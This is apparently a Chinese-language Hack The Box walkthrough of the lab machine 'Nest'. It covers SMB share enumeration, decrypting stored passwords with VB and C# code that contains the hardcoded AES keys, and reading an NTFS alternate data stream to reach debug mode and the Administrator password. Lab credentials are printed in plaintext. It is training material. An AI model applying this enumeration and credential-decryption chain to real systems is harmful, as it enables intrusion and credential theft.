HTB Windows Nest

infocard
Nest是一台在靶机中找线索,根据线索找下一步线索的机器,像极了密室逃脱,不需要CVE即可完成。
机器通过smb匿名共享访问获取初始用户,通过初始用户获取VB项目和user的账号密码,解密之后 拿到明文,通过隐写术获得”HQK Reporting Service V1.2“服务的debug权限,根据HqkLdap.exe了解到下一步的方向,找到Administrator用户的密钥,利用HqkLdap.exe中的解密算法获得Administrator的用户密码,拿到root.txt。

机器中比较有趣的点在于使用NTFS Stream进行隐写。

信息收集

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# Nmap 7.70 scan initiated Mon Jan 27 08:41:07 2020 as: nmap -Pn -sC -sV --script vuln -p445,4386 -oA Nest/scan/Nest-vuln 10.10.10.178
Nmap scan report for localhost (10.10.10.178)
Host is up (0.26s latency).

PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
4386/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, X11Probe:
| Reporting Service V1.2
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
| Reporting Service V1.2
| Unrecognised command
| Help:
| Reporting Service V1.2
| This service allows users to run queries against databases using the legacy HQK format
| AVAILABLE COMMANDS ---
| LIST
| SETDIR <Directory_Name>
| RUNQUERY <Query_ID>
| DEBUG <Password>
|_ HELP <Command>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4386-TCP:V=7.70%I=7%D=1/27%Time=5E2E31B4%P=x86_64-apple-darwin17.3.
SF:0%r(NULL,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Gene
SF:ricLines,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrec
SF:ognised\x20command\r\n>")%r(GetRequest,3A,"\r\nHQK\x20Reporting\x20Serv
SF:ice\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(HTTPOptions,3
SF:A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x2
SF:0command\r\n>")%r(RTSPRequest,3A,"\r\nHQK\x20Reporting\x20Service\x20V1
SF:\.2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(RPCCheck,21,"\r\nHQK\x
SF:20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSVersionBindReqTCP,21,"\
SF:r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSStatusRequestTC
SF:P,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Help,F2,"\r
SF:\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nThis\x20service\x20a
SF:llows\x20users\x20to\x20run\x20queries\x20against\x20databases\x20using
SF:\x20the\x20legacy\x20HQK\x20format\r\n\r\n---\x20AVAILABLE\x20COMMANDS\
SF:x20---\r\n\r\nLIST\r\nSETDIR\x20<Directory_Name>\r\nRUNQUERY\x20<Query_
SF:ID>\r\nDEBUG\x20<Password>\r\nHELP\x20<Command>\r\n>")%r(SSLSessionReq,
SF:21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TLSSessionReq
SF:,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Kerberos,21,
SF:"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(SMBProgNeg,21,"\
SF:r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(X11Probe,21,"\r\nH
SF:QK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(FourOhFourRequest,3A,"
SF:\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20co
SF:mmand\r\n>")%r(LPDString,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r
SF:\n\r\n>")%r(LDAPSearchReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\
SF:r\n\r\n>")%r(LDAPBindReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r
SF:\n\r\n>")%r(SIPOptions,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n
SF:\r\n>\r\nUnrecognised\x20command\r\n>")%r(LANDesk-RC,21,"\r\nHQK\x20Rep
SF:orting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServer,21,"\r\nHQK\x20R
SF:eporting\x20Service\x20V1\.2\r\n\r\n>")%r(NCP,21,"\r\nHQK\x20Reporting\
SF:x20Service\x20V1\.2\r\n\r\n>");

Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server disconnected the connection
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes after 5 attempts: TIMEOUT

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 27 08:45:06 2020 -- 1 IP address (1 host up) scanned in 239.92 seconds

445端口,SMB服务
4386端口,HQK Reporting Service V1.2服务(人工确认)

SMB匿名共享

1
2
3
4
5
6
7
8
9
10
11
12
$ smbmap.py -u guest -H 10.10.10.178
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.178...
[+] IP: 10.10.10.178:445 Name: bogon
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Data READ ONLY
IPC$ NO ACCESS Remote IPC
Secure$ NO ACCESS
Users READ ONLY

使用smbclient查看Data和Users目录:smbclient.py guest@10.10.10.178smbclient -U guest //10.10.10.178/Data

从Data/Share/Template/HR目录中找到”Welcome Email.txt”文件,内容如下;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019


Thank you
HR

未发现其他敏感数据

User: TempUser

使用TempUser访问smb共享,从”Data\IT\Configs\RU Scanner”目录中找到c.smith的加密密钥

1
2
3
4
5
6
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>389</Port>
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

在“Data\IT\Configs\NotepadPlusPlus\config.xml”中找到最近打开的文件:

1
2
3
4
5
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
<File filename="C:\windows\System32\drivers\etc\hosts" />
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
<File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>

尝试访问共享文件夹“\HTB-NEST\Secure$”、“\HTB-NEST\Secure$\IT”、“\HTB-NEST\Secure$\IT\Carl”,最终,成功访问“\HTB-NEST\Secure$\IT\Carl”目录并找到一份VB Project的项目代码。
使用smbget下载目录内所有内容:

1
$ smbget -R smb://TempUser:welcome2019@10.10.10.178/Secure$/IT/Carl/

user: C.smith

阅读项目源码后,发现项目读取RU_Config.xml文件并对其中的密码进行解密,于是,提取解密代码并使用在线代码运行工具解密,拿到明文密码:xRxRxPANCAK3SxRxRx

解密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
Imports System
imports System.IO

Imports System.Text
Imports System.Security.Cryptography
Public Class Utils

Public Shared Function GetLogFilePath() As String
Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt")
End Function




Public Shared Function DecryptString(EncryptedString As String) As String
If String.IsNullOrEmpty(EncryptedString) Then
Return String.Empty
Else
Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function

Public Shared Function EncryptString(PlainString As String) As String
If String.IsNullOrEmpty(PlainString) Then
Return String.Empty
Else
Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function

Public Shared Function Encrypt(ByVal plainText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String

Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText)
Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)
Dim keyBytes As Byte() = password.GetBytes(CInt(keySize / 8))
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
Dim encryptor As ICryptoTransform = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes)
Using memoryStream As New IO.MemoryStream()
Using cryptoStream As New CryptoStream(memoryStream, _
encryptor, _
CryptoStreamMode.Write)
cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length)
cryptoStream.FlushFinalBlock()
Dim cipherTextBytes As Byte() = memoryStream.ToArray()
memoryStream.Close()
cryptoStream.Close()
Return Convert.ToBase64String(cipherTextBytes)
End Using
End Using
End Function

Public Shared Function Decrypt(ByVal cipherText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String

Dim initVectorBytes As Byte()
initVectorBytes = Encoding.ASCII.GetBytes(initVector)

Dim saltValueBytes As Byte()
saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

Dim cipherTextBytes As Byte()
cipherTextBytes = Convert.FromBase64String(cipherText)

Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)

Dim keyBytes As Byte()
keyBytes = password.GetBytes(CInt(keySize / 8))

Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC

Dim decryptor As ICryptoTransform
decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

Dim memoryStream As IO.MemoryStream
memoryStream = New IO.MemoryStream(cipherTextBytes)

Dim cryptoStream As CryptoStream
cryptoStream = New CryptoStream(memoryStream, _
decryptor, _
CryptoStreamMode.Read)

Dim plainTextBytes As Byte()
ReDim plainTextBytes(cipherTextBytes.Length)

Dim decryptedByteCount As Integer
decryptedByteCount = cryptoStream.Read(plainTextBytes, _
0, _
plainTextBytes.Length)

memoryStream.Close()
cryptoStream.Close()

Dim plainText As String
plainText = Encoding.ASCII.GetString(plainTextBytes, _
0, _
decryptedByteCount)

Return plainText
End Function






End Class

Public Module Module1
Public Sub Main()
dim a=Utils.DecryptString("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=")
Console.WriteLine(a)
End Sub
End Module

使用c.smith的账号密码拿到user.txt

HQK Report Service

从smb共享目录Users/c.smith的”HQK Reporting”子目录找到三个文件:

  • Debug Mode Password.txt
  • HQK_Config_Backup.xml
  • HqkLdap.exe

使用file查看exe文件格式”PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows”,exe是.Net编译后的可执行文件,可以通过dnSpy进行反汇编;

使用dnspy反汇编查看源码,找到一组加解密的代码,该exe用于从ldap中导出数据。exe中没有更多的信息了,接下来看一下4386端口。

telnet连接4386,学习HQK Report Service中的命令,发现debug命令,需要输入密码。之前有见到”Debug Mode Password.txt“文件,因此尝试寻找debug密码;(从htb论坛上看到的ntfs stream关键字,然后搜索ntfs隐写找到了相关的文章)

NTFS交换数据流隐写

这部分的内容可以freebuf找到,检查NTFS交换数据流隐写可以使用windows命令:cmd \r
检查隐写的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Z:\C.Smith\HQK Reporting>dir
驱动器 Z 中的卷没有标签。
卷的序列号是 2C6F-6A14

Z:\C.Smith\HQK Reporting 的目录

2019/08/09 07:06 <DIR> .
2019/08/09 07:06 <DIR> ..
2019/08/09 20:18 <DIR> AD Integration Module
2019/08/09 07:08 0 Debug Mode Password.txt
2019/08/09 07:09 249 HQK_Config_Backup.xml
2 个文件 249 字节
3 个目录 26,803,740,672 可用字节

Z:\C.Smith\HQK Reporting>dir /r
驱动器 Z 中的卷没有标签。
卷的序列号是 2C6F-6A14

Z:\C.Smith\HQK Reporting 的目录

2019/08/09 07:06 <DIR> .
2019/08/09 07:06 <DIR> ..
2019/08/09 20:18 <DIR> AD Integration Module
2019/08/09 07:08 0 Debug Mode Password.txt
15 Debug Mode Password.txt:Password:$DATA
2019/08/09 07:09 249 HQK_Config_Backup.xml
2 个文件 249 字节
3 个目录 26,803,740,672 可用字节

Z:\C.Smith\HQK Reporting>type "Debug Mode Password.txt:Password:$DATA"
WBQ201953D8w

拿到debug的密码。

root

拿到debug的密码之后,重新使用HQK Report Service,开启debug模式,增加了showquery、session、service等命令;
showquery命令用于查看文件内容;
session命令用于查看当前连接状况;
service命令用于查看服务详情;
setdir命令设置当前位于的工作区,类似cd;
list命令用于列出 当前工作区中的query,类似ls;

使用setdir、list和showquery找到administrator的密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
### session查看当前连接状态:
>session

--- Session Information ---

Session ID: 3ad3ca81-e9e5-4f93-b0ff-42bf291e4f63
Debug: True
Started At: 2/22/2020 4:24:33 PM
Server Endpoint: 10.10.10.178:4386
Client Endpoint: 10.10.15.204:19458
Current Query Directory: C:\Program Files\HQK\ALL QUERIES

### 逐级查看目录
> setdir C:\Program Files\HQK
> list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

QUERY FILES IN CURRENT DIRECTORY

[DIR] ALL QUERIES
[DIR] LDAP
[DIR] Logs
[1] HqkSvc.exe
[2] HqkSvc.InstallState
[3] HQK_Config.xml

Current Directory: HQK

查看config配置文件

1
2
3
4
5
6
<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>4386</Port>
<DebugPassword>WBQ201953D8w</DebugPassword>
<QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>

根据xxx.exe文件的提示 通过LDAP查询数据然后导出到LDAP目录中,于是查看LDAP目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
> setdir C:\Program Files\HQK\LDAP
Current directory set to LDAP

> > list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

QUERY FILES IN CURRENT DIRECTORY

[1] HqkLdap.exe
[2] Ldap.conf

Current Directory: LDAP
>showquery 2

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
密码明文:XtH4nkS4Pl4y1nGX

通过exe文件中的解密逻辑对administrator的password解密,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
using System;
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public class Program
{
public static void Main()
{
String a = RD("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=", "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
Console.WriteLine(a);
}

private static string RD(string cipherText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
{
byte[] bytes = Encoding.ASCII.GetBytes(initVector);
byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue);
byte[] array = Convert.FromBase64String(cipherText);
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, bytes2, passwordIterations);
checked
{
byte[] bytes3 = rfc2898DeriveBytes.GetBytes((int)Math.Round((double)keySize / 8.0));
ICryptoTransform transform = new AesCryptoServiceProvider
{
Mode = CipherMode.CBC
}.CreateDecryptor(bytes3, bytes);
MemoryStream memoryStream = new MemoryStream(array);
CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
byte[] array2 = new byte[array.Length + 1];
int count = cryptoStream.Read(array2, 0, array2.Length);
memoryStream.Close();
cryptoStream.Close();
return Encoding.ASCII.GetString(array2, 0, count);
}
}

}

最终通过smbclient读取root.txt.

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%